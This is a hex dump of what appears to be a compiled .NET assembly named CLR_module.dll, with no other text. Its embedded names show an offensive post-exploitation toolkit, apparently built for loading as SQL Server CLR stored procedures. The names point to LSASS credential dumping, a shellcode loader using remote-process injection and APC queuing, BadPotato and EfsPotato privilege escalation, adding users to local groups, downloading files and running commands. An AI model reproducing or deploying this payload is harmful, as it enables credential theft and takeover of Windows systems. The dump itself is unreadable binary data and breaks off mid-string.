111113014D43C41113017F43C9111301B143CE111301E343D31113011644F21113014944F71113017B44FC111301AD4401120600EA3E26010600EA3E2601000000008000912054060A00010000000000800091205F0614000500502000000000860077061F000A00CC200000000086007F0627000E001D210000000086188F062E001100282100000000960010073800110054210000000086188F062E0013005C2100000000960014073E00130020220000000096002107380015004A220000000086188F062E00170000000000800091204F07440017005422000000009600610750001E007C22000000009600710738001E0030230000000096007A0754002000B425000000009600210754002100DA250000000086188F062E002200E425000000009600830754002200E32A0000000086188F062E00230000000000800096208B075900230000000000800096209707600026000000000080009620A60769002B000000000080009620B907730030000000000080009620C4077B0033000000000080009620D107820036000000000080009620DE07870037000000000080009620EA078C003800EC2A000000009600F8079E004200382B0000000096000508A40043006C2B000000009600210738004500FC2C000000009600090838004700942E0000000096000E0854004900F42F0000000086188F062E004A00FC2F00000000960021072F014A001031000000009600910B33014A00C9490000000086188F062E004A00D44900000000960021072F014A004F4B0000000086188F062E004A00574B000000009600210754004A006F4B000000009600090838004B00984B000000009600980B3B014D008C4D0000000086188F062E004F00944D000000009600A30B38004F009C51000000009600B10B54005100D055000000009100BF0B410152005856000000009100C90B410153000000000080009620D90B460154000000000080009120E20B510159000000000080009120ED0B5C0160000000000080009120FD0B6801680000000000800091200E0C87006A000000000080009620DE0787006B000000000080009620290C6E016C0000000000800096203F0C7A01720000000000800096204A0C8601760000000000800096205F0C8F017A0094560000000086188F062E0085009C560000000083188F06AE01850000000000800091202A0DB40186000000000080009120460D7B0088000000000080009120580DBB018B000000000080009120670DC1018C0000000000800091207F0DCC0192000000000080009320930DD3019500AC560000000086188F062E009B00445700000000C4001A0E2E009B007057000000008600230EE6019B00C858000000008400E20EFA019E009759000000008400F10E2E00A400D059000000009400FA0E0702A400E559000000009400090F0C02A500F059000000008400140F1102A600E85A000000008400190F1602A700F65A0000000084002D0F1B02A800045B0000000084003B0F1F02A800F45B0000000091189D3A2F01AA0000000000030086188F062602AA00000000000300C601510F1602AC00000000000300C601730F2C02AD00000000000300C6017F0F3502B00000000000030086188F062602B100000000000300C601510F3B02B300000000000300C601730F4002B400000000000300C6017F0F4902B7005D5C0000000086188F064F02B800705C0000000086188F065F02BA002C5D0000000091189D3A2F01BD00685D0000000086188F066702BD00405E0000000096008E116F02C100005F00000000960021075400C300F05F000000009600B2117602C4004860000000009600C6115400C500E461000000009600D1112F01C600FF61000000009600DF115400C6001C62000000009600ED115400C7007462000000009600F2115400C8005463000000009600FD112F01C900E86300000000960009127C02C90014640000000096001B128502CB00486400000000960023125400CD0050680000000096002B128C02CE00A86800000000960034125400CF00E06800000000960039122F01D000586A0000000086188F062E00D0007C6A00000000960041123800D00028700000000096004F125400D20000000000800096205C129102D3000000000080009320DE078700D50000000000800096206B129702D70000000000800096207C129B02D7000000000080009620FD0B9102DF000000000080009620A712AA02E20000000000800096200E0C8700EA000000000080009620BF12B602EC000000000080009620CF12BF02F1000000000080009620E012CA02F8000000000080009620F712D202FC0000000000800096203F0CE702070100000000800096200C13F4020B010000000080009620D90B46010E0100000000800096202113FB021301D6750000000086188F062E001C010000000080009120371427031C01E0750000000096008814320322010000000080009120A2143A0324010000000080009120B3144D032B014876000000009600C5143B0132016076000000009600E9145F033401E076000000009640C514660336010000000080009320FA146E033901000000008000932005157A033D010000000080009320131584034101000000008000932020158D03450100000000800093203515960348010000000080009320431596034901000000008000932052159B034A0100000000800093206815A0034B01000000008000932075159603520100000000800093208615AF035301000000008000932094158200570100000000800093209D15BE0358010000000080009320B81596035D010000000080009320C615CA035E010000000080009320E515D50361010000000080009320F315E0036601547800000000964002165F036B0100000000800093201716EE036D0100000000800093202316FB03730194790000000096403D160504780100000000800093204C160B0479010000000080009320581687007C010000000080009320651613047D01347A0000000093407D161D048101D07A0000000086188F062E008401D87A000000008640261738048401047B00000000E64131172E0085011C7B00000000C64039173D0485013F7B0000000086188F065A048501567B00000000C60039173D0488015E7B0000000086188F062E008801667B0000000086188F062E0088016E7B0000000086083F1FBD048801767B000000008608521FC1048801807B000000008440E20EFA018901BC7C000000008440F10E2E008F010C7D000000009440FA0E07028F01217D000000009440090F0C0290012C7D000000008440140F11029101F87E000000009440651FC6049201247F000000008440190F16029401327F0000000084402D0F1B029501407F0000000084403B0F1F0295018C7F0000000084188F062E009701C37F0000000086188F064F029701D47F0000000091189D3A2F01990120800000000086188F065F029901C8800000000091189D3A2F019C0104810000000086188F06DD049C0100000000030086188F062602A101000000000300C601510F1602A301000000000300C601730F2C02A401000000000300C6017F0F3502A70100000000030086188F062602A801000000000300C601510F3B02AA01000000000300C601730F4002AB01000000000300C6017F0F4902AE0100000000030086188F062602AF01000000000300C601510F1102B101000000000300C601730F4002B201000000000300C6017F0F3502B50100000000030086188F062602B601000000000300C601510FE604B801000000000300C601730FEC04BA01000000000300C6017F0F4902BE01D8810000000086588F062E00BF01388200000000C4401A0E2E00BF016482000000008640BC1FF604BF010C84000000008640CB1FFE04C201E484000000008640D51F0405C301F885000000008140F01F0E05C601AC8600000000864018201505C701248900000000814027202505CC01B88900000000814045203405CE018C970000000091189D3A2F01D00100000000800093202A0DB401D0010000000080009320930D3D05D2010000000080009320930D4505D5010000000080009320930D5105DA010000000080009320930D5F05E0010000000080009320930D6905E5010000000080009320930D7905ED010000000080009320930D8305F2010000000080009320930D9105F9010000000080009320930D9D05FE010000000080009320930DA90504020000000080009320460D7B000C020000000080009320930DB8050F020000000080009320930DC70516020000000080009320580DBB011E020000000080009320670DC1011F0200000000800093207C20D305250200000000800093209420E4052C0200000000800093209420F105320200000000800093207F0DFB0538020000000080009320AA2002063B020000000080009320BD2008063D0201980000000086188F062E003E0209980000000086188F062E003E0214980000000086588F06C1043E02749800000000C4401A0E2E003F02A098000000008640412112063F02C0990000000081405A2120064202E89C0000000091189D3A2F014302579D0000000086088E21320643025F9D000000008608A42138064302689D000000008608BA213D044402709D000000008608C52138044402799D000000008608D0213F064502819D000000008608DF21430645028A9D0000000086188F0648064602A09D000000008600EE2150064802B69D000000008600EE2155064902D49D000000008140FF2155064B02D89F000000008140182255064D0250A200000000964032225D064F0200000000030086188F0626025102000000000300C601510F78065302000000000300C601730F7E065402000000000300C6017F0F49025702C2A20000000086188F062E005802CCA20000000086588F062E0058022CA300000000C4401A0E2E00580258A3000000008640C8228806580298A4000000008640D422FE045B0274A5000000008640E42290065C0230A700000000814004239F0661024CA80000000086401E23A7066202ACA90000000086403A23B006650200AB0000000086404923BA06690230B30000000091189D3A2F016F02A8B30000000086588F062E006F0200B400000000C4401A0E2E006F022CB40000000086407023CA066F02E8B50000000086407F23FE047402C8B60000000086408F23D706750240CB0000000091189D3A2F017A02794B0000000086188F062E007A02814B00000000860041376C097A02606A0000000086188F062E007C02686A000000008600F53E2E007C020C700000000086188F062E007C021470000000008600573F2E007C0200200100F023000002001C2400000300222400000400262400200100F023002002002F24000003001C24000004002224000005003924000001004624000002005124000003005A24000004006324000001004624000002006E24000003005124000001005124000002005A24000001007824000002007C24000001008524000002008924000001005A0A000002009324000003009D2400000400A32400000500AC2400000600B52400000700C52400000100D32400000200DA2400000100E22400000100E22400000100EA2400000100EE2400000200F00C000003006B0A000001005A0A00000200FE24000003000825000004000F25000005002025000001005A0A000002002A2500200300382500000400412500000500472500000100EE2400000200F00C00000300770A000001005E2500000200630A00000300652500000100630A000001006C2500000100742500000200862500000300942500000400A22500000500B22500000600C22500000700D02500000800DE2501000900EB2502000A000326000001002226000001002D26000002003426000001003826000002003426000001003D26000002003426000001003D2600000100EA24000001004226000002004726000001007C24000002004B26000001005526000002005D2600000100EA24000001006926000001006926000001009D24000002003825000003006B2600000400802600000500942600000100A12600000200AC2600000300B32600000400B92600000500BC2600000600BF2600000700C42600000100C92600000200CE2600000300D12600000400D42600000500D72600000600DA2600000700DD2600000800C42600000100E02600000200C42600000100E02600000100E52600000100EC2600000200F826000003000D27000004001627000005002327000006003127020001003E27020002004827000003005327000004004125002000000000000001006427000002007127020003007827000001007F27000002007425000003008625000004008627000005009A2700000600B22500000700AD2700000800D02500000900BD2700000A00D02702000B00DE2700000100F327000001000128020002000F2800000100192800000200750E000003002928000001002E28000001003728000002003F28000003004728000004005328000005005C28020006006428000001007428000002007C2800000300832800000100192800000200750E000003008F2802000400972800000500A02800000600471002000100972800000200A02800000300471000000100A92800000200350E000003004B0E00000400E02600000500B52800000600AD0F00000100C12800000100C62800000100CD2800000100DA2800000100DA2800000200292800000100F52800000200FC2800000100C12800000100C12800000200032900000300F528000001000C2900000100F52800000200FC2800000100C62800000100C62800000200032900000300F528000001000C29000001001329000002002929000001003F29000002001329000003002929000001004329000002005329000003006E29000004007D29000001008829000002009329000001009F2900000100AA29000001007C2400000100AA2900000100AE29000001007C2400000100B22900000200B92900000100C02900000200CC2900000100DA2900000100E02900000100E02900000100EE2900000200472600000100F32900000100FB29000002007F2700200000000000000100E52600000100032A000002000C2A00000300152A000004001E2A000005002B2A00000600392A00000700462A00000800552A00200000000000000100E52600000200682A00200000000000000100732A000002007E2A00000300862A00000400952A00000500AA2A00000600BF2A00000700CA2A00200000000000000100732A00200000000000000100DB2A00000200E82A00000300F62A00000400EC2600200000000000000100012B00000200EE2400000300102B00000400222B00000500352B000006003F2B00200000000000000100D025000002007F27000003004A2B000001007F27000002007425000003008625000004008627000005009A2700000600B22500000700AD2700000800D02500000900BD2700000A00D02702000B00DE27000001003E27000002004827000003005327000004004125000001006C2500000200532B00000300270B000001009D24000002003825000003006B26000004008026000005009426000001007F27000002005A2B00000300742500000400862500000500AD2700000600D02500000700BD2701000800D02702000900DE2700000100672B00000200742B000003007F2B000004008C2B00000500982B00000600A82B00000100B02B00000200BB2B00000100642700200200DF1800000300712700000400C82B00000500D02B00000600E52B02000700FD2B00000100642700000200032C00200300DF1800000400112C00000500D02B00000600E52B02000700FD2B00000100172C00000200212C00000100282C00000200212C00000100172C00000200212C02000300342C00000100462402000200452C00000300532C00000400612C00000100692C00000200E82A00000300732C020004007C2C000001007C2C00000200E82A00000300892C02000400912C00000100912C020002009D2C02000300A52C00000100C62800000100692C00000100B32C00000100BA2C000002001C2400000300C52C00000400CC2C00000500D72C00000600392400000700E32C000001000B1900000100F12C00000200FC2C00000300E82A020004000D2D000001001A2D000001000D2D00000200272D020003000B19000004003A2D02000500A52C00000100502D000001000D2D00000200582D020003006A2D000001000D2D00000200DB23000003007A2D02000400852D02000500932D000001000D2D00000200DB23000003007620020004009F2D02000500B12D00000100212C00000200B62D00200100C62D00200200BB1901000300B01900200400D32D00000500471002000600DC2D01200100212C01200200F42D000003001C2400000400FC2D02000500042E00000100212C000001000B2E02000200182E00000300222E00000100182E00000100BA2C000002004710020003004419020004007921000001002B2E00000200322E00000300372E00000100482E000001004A2E00000200542E000003005E2E00000100652E00000100A92800000200350E000003004B0E00000400E02610100500B52810100600AD0F00000100C12800000100C62800000100CD2800000100CD28000002006B2E00000100DA2800000100DA28000002002928000001001329000002002929000001003F29101002001329101003002929000001004329000002005329000003006E29000004007D2900000500742E00000100F52800000200FC2800000100C12800000100C12800000200032900000300F528000001000C2900000100F52800000200FC2800000100C62800000100C62800000200032900000300F528000001000C2900000100F52800000200FC2800000100CD2800000100CD2800000200032900000300F528000001000C2900000100F52800000200FC2800000100CD28000002006B2E00000100CD28000002006B2E00000300032900000400F528000001000C2900000100F12C00000200E82A020003000D2D00000100932E000001000D2D00000200A02E02000300B12E00000100C32E000001000D2D00000200DB2E02000300E92E00000400F62E02000500022F00000100DB2E000002000E2F000001001B2F00000200332F000001000128020002000F2800000100192800000200750E00000300492F00000100192800000200750E00000300502F00000400BF26000005005D2F00000100192800000200750E00000300642F00000400752F00000500E82A020006000D2D00000100192800000200750E000003000D2D00000400A02E02000500C32E00000100192800000200750E000003000D2D00000400862F020005001B2F00000600332F00000700F62E02000800022F00000100192800000200750E00000300502F02000400932E00000500E82A00000100192800000200750E00000300932E00000400272D02000500912F000006003A2D02000700A52C00000100192800000200750E00000300932E000004009E2F02000500A92F00000100192800000200750E00000300932E00000400E82A00000500A92F020006007C2C00000100192800000200750E000003007C2C00000400272D00000500AD2F02000600912F000007003A2D00000800A52C00000100192800000200750E00000300292800000100C02F00000200C82F000003000B2E02000400FB2900000500D02F00000600DA2F00000700EC2F00000100C02F00000200C82F00000300FB2F000004000430000005000D30000006001830000007002830000008003730000001002E28000001003728000002003F28000003004728000004005328000005005C28020006006428000001000F28000002003F30000003004F30000004005A30000005006330000006007030000007007930000001000F28000002003F30000003004F30000004005A30000005006330000006007030000001000F28000002003F30000003004F30000004005A30000005008530000006007030000001007428000002007C2800000300832800000100A92F000002008D30000001009F3010100100A43000000100212C00000200BF2602000300B73000000100BF3000000100652E00000100652E00000100652E00000100212C10100200D23010100100E43000000100FC2810100200E43000000100FC2800000200E43000000100FC2800000200E43000000100EF1E00000200F23000000100F52800000200FC2800000100F63000000100F63000000200032900000300F528000001000C2900000100212C02000200932E00000300E82A00000100932E00000100932E00000200272D020003000B19000004003A2D02000500A52C00000100912F00000100932E00000200DA1802000300732C00000100932E00000200E82A00000300732C020004007C2C000001007C2C00000200272D00000300AD2F020004000B19000005003A2D02000600A52C000001000B2E02000200FB2900000300D02F00000400DA2F00000500EC2F00000100932E00000100FB2F000002000430000003000D300000040018300000050028300000010052370000020029282B001900A9008F06E506B9008F062E00C1008F062E00C9008F062E00D1008F060107E1008F060707E9008F062E00F1008F063804F900EC310C070101F531380409008F062E0009018F061E07190126322B0719014832320729016B32380741018F063E0739019632460739019B324E073901A1322E002901A1322E001901A7322E00090039173D045901B4323B018100D1326C0769018F06710769010033770779010E338C0259011533860779011C335400790123338C0781018F069207310031172E00610161333D0491017433260199018133AB0799019433B3079901A3333D045901B3333E009901BF33BA079901C6331B0259011533BE0759011533C60741018F06CD0741010234DB07C9012134E107D1015D34E607D9016A34EB07D9017534F207E9010E338C02F1018F062E005901A63415085901B4341A085901BA3421080102B434270891010A35070209021E358C07110238358308110242358908A10139173D0479014B35E1070C008F062E0014006F35CF081C007D35E0080102B434E5080C009635EF081C009A35BD049901A335F7080C00B035FE083102BF352F0114008F062E001400D5352A09D901A1322E00D901DE35EB07D901FD353F0999018F062E0099011736480949022536380449023236C10449024636C10449026036C10449027B36C10449029536C1049901A836BD049901BB364E095902D83638049901E2362E009901A1322E00610231172E00690259373D047900623774095901B4327A0959016D378C0249027B37380449029C37820979008F062E0079028F0626029901C53789099901DC372E009901FD37900989021A383D0499012438BA0779003138BA075901B432960991028F062E0059011533AD09810057383D04810060381B0299027238B40999027938B90951008B38BD0951003917C2095901B432C70991018F0607079101B3339102A1028F060707A9028F06C104B1028F062602B9028F06CE09B902D338C104B902A836D5092100E43850065901B432DA09C102F238E0091102F738830811020339EB0959010D3915085901B432450AC9022439BD0421008F062E0021003E39AE0151008F0638049101A139B90909001A0E2E009902AA39660A5900CA396B0A5900D0391B029902E33908065900EE392E009902F339B909D902D836540091010C3A910299021A3A0C029101263A740A9902443A850A9902623A070299026F3A9B0AA1013917C20991018F06A00A91013917C20999027E3AAC0AF1023C3BBF0A0103D43BD30A99027238DC0A51008F06E90A3901E63BF80A3901F03BBA0711038F0638041903073CE107E901133C270821032B3CBD047100363C1C0B7100133C220B2103543C290B1903633CE10771008F063804E9011C33410B79016F3C470BC901A53C5B0BE901BA3C540059013138BA075901CE3C5F0B1400103D7F0BE901183D5B0B59010C3A3E00E901133C8D0BE901363C8D0BC1022C3D930B11033138740A510339173D047901623D9F0B6103943DA60B59018F06AF0B79019D3D050479038F062E007903F531E00B8103FF3DE70B99032B3EF70B99034C3EFD0BA1036C3E040CA103783EBA0799039A3E0A0CB103B23E110CB103C43E110CC901093F5B0BB9038F062602B9028F06320CB902A8362E00B902253F500679002A3FBA07C901373F5B0BC9016A3F5B0BC1038F062E00C9038F06980C8900F53F3D048900373F3D04E103D8365400890006403D04A1028F062E0081008F063B0291008F06B90C79001340C00CE9038F06D20C91008F06380461016C403D0491007B40BA0791008C40B90C5901B432780DF9038F06D20CA9013917C2099902CA40B10E91008F063B029900D940D50E9900E240D90E5901CE3CEB0E59010941320099026F3A880F01048F06070709048F062E0011048F0638042C008F062E002C009635381099024C4196032C006F35CF0834007D35E00834009A35BD0491010A3596033C008F062E003C0096353810A1008F0616119100144335009902F03B52119902E63B5711990224435D1108002C00B10008003000B60008003400BB0008003800C00008003C00C50008004000CA0008004400CF0008004800D40008004C00D90008005000DE0008005400E30008005800E80008005C00ED0008006400B60008006800BB0008006C00C00008007000C50008007400CA0008007800CF0008007C00D40008008000D90008008400DE0008008800F60008008C00FB0008009400E80008009800040108009C0009010800A0000E010800A40013010800AC00C5000800B000CA000800B400CF000800B800D4000800BC00B6000800C000BB000800C4001C010800C800C0000800CC0021010800D00021010800F402BB000800F8020E030800FC021303080000031803080004030E0308000803BB0008000C03B600080010031803080014031D0308001803220308002003B60008002403BB00080028030E0308002C031C01080030032904080034032E0408003803330408003C03C00008004003130309005403180309005803B60009005C03BB00090060030E03090064034604090068034B0409006C03500409007003550409004804B60009004C04C50009005004CA0009005404CF0009005804D40009005C04D90009006004DE0009006404E30009006804780409006C04E800090070040401090074047D0409007804820409007C048704090080048C0409008404210109008804460409008C04ED0009003405B60009003805BB0009003C051C0109004005C00009004405C50009004805CA0009004C05960408007C05B60008008005BB00080084050E03080088051C0108008C052904080090052E0408009405330408009805C00008009C0513030800A005A40407003506F40607003906F70607006906F40607006D06F70608005807B60008005C07BB00080060071C0108006407C00008006807C50008006C07CA000800AC0718030800B007B6000200F908FA0612001D09180308002109FC0608002909FC062E002B0006122E0033000F122E003B00181220029301B60023072307B60063072307B600A3072B07920FE3072B07A40FC30A2B07B110E30A2307B600C30B2B077011C30C4303B600E30C4303B600600D5306B600630D4303B600830D4303B600A00D5306B600C00D5306B600E00D5306B600000E5306B600000E5B06A20C200E5306B600200E5B06A20C400E5B06A20C400E5306B600600E5B06A20C600E5306B60020144303B60040144303B60024152300B600201D4303B600401D4303B600601D4303B600801D4303B600A01D4303B600C01D4303B600612F4303B600C4322300B600A13D4303B600C13D4303B600E13D4303B6000300EB060B00EB060D00EB065B00ED06A400630AED00EF06AB01EF06BC018E0FBF01EF06C0018E0FC2018E0FC4018E0FC501EF06CC018E0FD501EF06D901EF06E301EF06F101EF061002EB061202EB061802EB061A02EB061E02EB062002EB064B02F1065B02F106A802900FAA02900FDB02EB06DD02EB06E102EB06E702EB06E902EB068403EB068803EB068C03EB0602000102D90C02004502980D02005102980D02006102980D06006902FC0E06006D02FC0E06007102FC0E06008D02980D06009102980D06009502980D06009902980D06009D02980D0600A102980D0600A502980D0600A902980D0600AD02980D06000903980D02000D03980D06001103980D06001503980D06001903980D06001D03980D06002103980D06002503980D06002903980D06009103980D02009503980D02009903980D02009D03980D0200C903980D0200CD03980D0600D103980D0600E903980D0200ED03980D0600F103980D0600F503980D0600F903980D0600FD03980D06000104980D06000504980D06000904980D06001104980D02001504980D06001904980D06001D04980D06002104980D010038000000680001003A00000069000100120000006A000100350200006D000100550200006E0001009D0300006F000100190300007000010037000000710001003900000072000100BF000000730001008D000000740001003D020000750001005902000076000100F300000077000100C700000078000100CB080000790001004F0900007A0001009F0000007B000100870000007C0000000000FA0004000000FB0008000000FC0010000000FD0010000000FE0010000000FF0012071807250756077E079D07F7072E0875087D088F08A008B2080709350954099C09F1091A0A4B0A5A0A780A8C0A970AA50AB40AE30AFD0A0D0B300B4F0B650B690B700B850BB50BED0B170C390C680CAF0CB50CC50C7F0DB90EDF0EF00E3500C70FD60FE50FEE0FF70FFC0F0F101B102810461072108110DA10F0101C11361163117C119111A011B311D811E911400001005C00020000008C1FCF040000A5226A060000B72270060000D70E74060200A10003000100A20003000100EA0005000200E90005000100EC0007000200EB0007000200ED0009000100EE000900A531C532E734F034FD34283935395139E93F9A40A540EF40C108C908D908570A31103E10E8100001030054060100000105005F060100450317004F070200440127008B070300440129009707030044012B00A607030044012D00B907040044012F00C407040044013100D107040044013300DE07030046033500EA07050040015D00D90B040044015F00E20B040044016100ED0B040044016300FD0B0400400165000E0C060047016700DE07040040016900290C060046016B003F0C040046016D004A0C060044016F005F0C0700040375005C390800040277007939080004037900580D080004037B008839080000037D007F0D080004027F00793908004001D5005C1206004001D700DE0704000002D9006B1204006601DB007C1204004001DD00FD0B04006601DF00A71204004001E1000E0C06004001E300BF1206004001E500CF1206004001E700E01209004401E900F71206004001EB003F0C04004001ED000C1304004001EF00D90B04004401F100211307004401F500371406004401F900A21406004001FB00B314060000010301FA140A000001050105150A000001070113150A000001090120150A0000010B0135150A0000010D0143150A0000010F015215060004011101681501000601130175150B0000011501861506000001170194150600000119019D15060000011B01B815060000011D01C615060040011F01E515060000012101F31507000401250117160100040127012316010044012B01FC400C0044012D0158160C0046012F0165160100040399015C39080004029B017939080004029D017939080004029F01793908000402A101793908000402A301793908000402A501793908000402A701793908000402A901793908000402AB01793908000402AD01793908000402AF01793908000402B101793908000402B301793908000403B501580D08000403B701883908000403B9011E4208000403BB01374208000403BD01374208000003BF017F0D08004001C101AA2006004001C301BD200600505B00000D02885B00000E02C85B00000F02E05B00001002408C00001102788E00001202D09000001302709400001402209B00001502589B00001602989B00001702589C00001802D0AC0000190210AF00001A0270B100001B0268B200001C02F8B700001D02C8C000001E0218CA00001F02B8CA000020020480000000000000000000000000000000002E0000000200000000000000000000000100F405000000000200000000000000000000000100FD05000000000200000000000000000000000100B2310000000003000200040002000A0009000B0009000C0009000D0009000E0009000F0009001000090015001400160014001700140018001400190014001A0014001D001C001E001C002600250027002500280025002A0029002B0029002C0029002D0029002E0029002F002900300029003100290032002900330029003400290035002900360029003700290038002900390029003A0029003B0029003C0029004100400042004000430040004400400045004000460040004700400048004000490040004A0040004C004B004D004B004E004B004F004B0050004B0051004B0052004B005400530055005300590058005A0058005D005C0060005F0061005F006300620064006200650062006600130068006700690067006A0067006B0025006C0025006D0067006E0067006F006700700067007100670072006700730067007400670075006700760067007700670078006700790067007A0067007B0067007C00670063019B0B0000003C4D6F64756C653E00434C525F6D6F64756C652E646C6C004C6F63616C47726F75705573657248656C70657200434C525F6D6F64756C65004C4F43414C47524F55505F4D454D424552535F494E464F5F3300555345525F494E464F5F31006164647573657200646F776E6C6F61640064756D706C736173730053746F72656450726F63656475726573007368656C6C636F64656C6F616465720050726F6365737341636365737352696768747300546872656164416363657373004D656D416C6C6F636174696F6E004D656D50726F746563740050524F434553535F494E464F524D4154494F4E0050524F434553535F42415349435F494E464F524D4154494F4E0053544152545550494E464F00676574617600524450006578656300506F7461746F00544F4B454E5F50524956494C45474553004C5549445F414E445F41545452494255544553004C5549440053454355524954595F415454524942555445530050726F636573735761697448616E646C65004566737254696E7900616C6C6F636D656D6F727900667265656D656D6F727900434F4D4D5F4641554C545F4F464653455453005250435F56455253494F4E005250435F53594E5441585F4944454E544946494552005250435F434C49454E545F494E54455246414345004D49444C5F535455425F44455343006261736566756E00426164506F7461746F004E61746976654D6574686F64730050696E67436173746C65005349445F4E414D455F55534500554E49434F44455F535452494E470053484152455F545950450053484152455F494E464F5F3530330053484152455F494E464F5F31004C53415F4F424A4543545F41545452494255544553004C53415F54525553545F494E464F524D4154494F4E004C53415F464F524553545F54525553545F494E464F524D4154494F4E004C53415F464F524553545F54525553545F444F4D41494E5F494E464F004C53415F464F524553545F54525553545F42494E4152595F44415441004C53415F464F524553545F54525553545F5245434F5244004C53415F5245464552454E4345445F444F4D41494E5F4C495354004C53415F5452414E534C415445445F4E414D45004C53415F5452414E534C415445445F53494400444F4D41494E5F434F4E54524F4C4C45525F494E464F00445347455444434E414D455F464C41475300535441545F574F524B53544154494F4E5F300044535F444F4D41494E5F54525553545F545950450044535F444F4D41494E5F545255535453004C53415F444F4D41494E5F494E464F524D4154494F4E0050696E67436173746C652E525043004C53415F4C4F4F4B55505F524553554C54007270636170690047454E455249435F42494E44494E475F524F5554494E455F504149520062696E6400756E62696E64006C7361004C534150525F4F424A4543545F41545452494255544553004C534150525F504F4C4943595F4143434F554E545F444F4D5F494E464F004C534150525F5349445F454E554D5F425546464552004C534150525F5245464552454E4345445F444F4D41494E5F4C495354004C534150525F54525553545F494E464F524D4154494F4E004C534150525F5452414E534C415445445F4E414D4553004C534150525F5452414E534C415445445F4E414D45005345435F57494E4E545F415554485F4944454E54495459005250435F53454355524954595F514F530054727573746564446F6D61696E0054727573746564446F6D61696E466C6167006E727063004E45544C4F474F4E5F545255535445445F444F4D41494E5F41525241590044535F444F4D41494E5F5452555354535700547970654F66456E756D65726174696F6E004E756C6C53657373696F6E54657374657200456E756D65726174650053414D525F454E554D45524154494F4E5F454E5452590073616D720053414D50525F454E554D45524154494F4E5F4255464645520053414D50525F5249445F454E554D45524154494F4E007270726E004445564D4F44455F434F4E5441494E4552005250435F56325F4E4F544946595F4F5054494F4E535F54595045005250435F56325F4E4F544946595F4F5054494F4E53006D73636F726C69620053797374656D004F626A6563740056616C75655479706500456E756D0053797374656D2E546872656164696E67005761697448616E646C65004D756C74696361737444656C65676174650049446973706F7361626C65004E657455736572416464004E65744C6F63616C47726F75704164644D656D6265727300416464557365720047726F75704164644D656D62657273002E63746F7200646F6D61696E616E646E616D650075737269315F6E616D650075737269315F70617373776F72640075737269315F70617373776F72645F6167650075737269315F707269760075737269315F686F6D655F64697200636F6D6D656E740075737269315F666C6167730075737269315F7363726970745F706174680061646400446F776E6C6F616446696C650072756E0053797374656D2E52756E74696D652E496E7465726F705365727669636573005361666548616E646C65004D696E6944756D70577269746544756D7000497348696768496E7465677269747900436F6D7072657373004D696E6964756D7000436C7245786563004F70656E50726F63657373005669727475616C416C6C6F63457800577269746550726F636573734D656D6F7279004F70656E5468726561640051756575655573657241504300526573756D6554687265616400436C6F736548616E646C650043726561746550726F6365737300537461727450726F63657373005830720072756E310072756E320076616C75655F5F00416C6C005465726D696E61746500437265617465546872656164005669727475616C4D656D6F72794F7065726174696F6E005669727475616C4D656D6F727952656164005669727475616C4D656D6F72795772697465004475706C696361746548616E646C650053657451756F746100536574496E666F726D6174696F6E005175657279496E666F726D6174696F6E0051756572794C696D69746564496E666F726D6174696F6E0053796E6368726F6E697A65005445524D494E4154450053555350454E445F524553554D45004745545F434F4E54455854005345545F434F4E54455854005345545F494E464F524D4154494F4E0051554552595F494E464F524D4154494F4E005345545F5448524541445F544F4B454E00494D504552534F4E415445004449524543545F494D504552534F4E4154494F4E005448524541445F48494A41434B005448524541445F414C4C004D454D5F434F4D4D4954004D454D5F52455345525645004D454D5F5245534554004D454D5F52455345545F554E444F00536563436F6D6D697400504147455F4558454355544500504147455F455845435554455F5245414400504147455F455845435554455F52454144575249544500504147455F455845435554455F5752495445434F505900504147455F4E4F41434345535300504147455F524541444F4E4C5900504147455F52454144575249544500504147455F5752495445434F505900504147455F544152474554535F494E56414C494400504147455F544152474554535F4E4F5F555044415445006850726F63657373006854687265616400647750726F6365737349640064775468726561644964005265736572766564310050656241646472657373005265736572766564320052657365727665643300556E69717565506964004D6F72655265736572766564006362006C705265736572766564006C704465736B746F70006C705469746C6500647758006477590064775853697A650064775953697A6500647758436F756E74436861727300647759436F756E74436861727300647746696C6C41747472696275746573006477466C616773007753686F7757696E646F770063625265736572766564006C705265736572766564320068537464496E70757400685374644F757470757400685374644572720053797374656D2E436F6C6C656374696F6E732E47656E65726963004C69737460310061764C6973740052756E436F6D6D616E6400456673506F7461746F50726F6700456673506F7461746F4578656300527063546872656164004E616D656450697065546872656164005265616446696C650043726561746546696C65004372656174654E616D65645069706500436F6E6E6563744E616D65645069706500496D706572736F6E6174654E616D656450697065436C69656E740041646A757374546F6B656E50726976696C656765730043726561746550697065004C6F6F6B757050726976696C65676556616C75650043726561746550726F636573734173557365720050726976696C656765436F756E740050726976696C65676573004C7569640041747472696275746573004C6F775061727400486967685061727400647746696C6C41747472696275746500636252657365727665643200685374644572726F72006E4C656E6774680070536563757269747944657363726970746F720062496E686572697448616E646C65004D6963726F736F66742E57696E33322E5361666548616E646C657300536166655761697448616E646C650052706342696E64696E6746726F6D537472696E6742696E64696E67004E6472436C69656E7443616C6C327838360052706342696E64696E674672656500527063537472696E6742696E64696E67436F6D706F73650052706342696E64696E675365744F7074696F6E004E6472436C69656E7443616C6C32783634004D49444C5F50726F63466F726D6174537472696E67783836004D49444C5F50726F63466F726D6174537472696E67783634004D49444C5F54797065466F726D6174537472696E67783836004D49444C5F54797065466F726D6174537472696E67783634004775696400696E7465726661636549640046696E616C697A65004566735270634F70656E46696C65526177004D49444C5F50726F63466F726D6174537472696E67004D49444C5F54797065466F726D6174537472696E6700474348616E646C650070726F63537472696E6700666F726D6174537472696E670073747562006661756C746F66667365747300636C69656E74696E7465726661636500506970654E616D6500416C6C6F636174654D656D6F727944656C656761746500467265654D656D6F727944656C65676174650052504354696D654F757400496E697469616C697A655374756200667265655374756200416C6C6F636174654D656D6F727900467265654D656D6F72790042696E640047657450726F63537472696E6748616E646C65004765745374756248616E646C650043616C6C4E6472436C69656E7443616C6C3278383600496E766F6B6500494173796E63526573756C74004173796E6343616C6C6261636B00426567696E496E766F6B6500456E64496E766F6B6500436F6D6D4F6666736574004661756C744F6666736574004D616A6F7256657273696F6E004D696E6F7256657273696F6E0053796E746178475549440053796E74617856657273696F6E004C656E67746800496E746572666163654964005472616E7366657253796E7461780044697370617463685461626C650052706350726F74736571456E64706F696E74436F756E740052706350726F74736571456E64706F696E7400526573657276656400496E746572707265746572496E666F00466C616773004949445F53594E54415800527063496E74657266616365496E666F726D6174696F6E0070666E416C6C6F636174650070666E4672656500704175746F42696E6448616E646C65006170666E4E647252756E646F776E526F7574696E6573006147656E6572696342696E64696E67526F7574696E655061697273006170666E457870724576616C0061586D69745175696E7475706C650070466F726D617454797065730066436865636B426F756E64730056657273696F6E00704D616C6C6F6346726565537472756374004D49444C56657273696F6E00436F6D6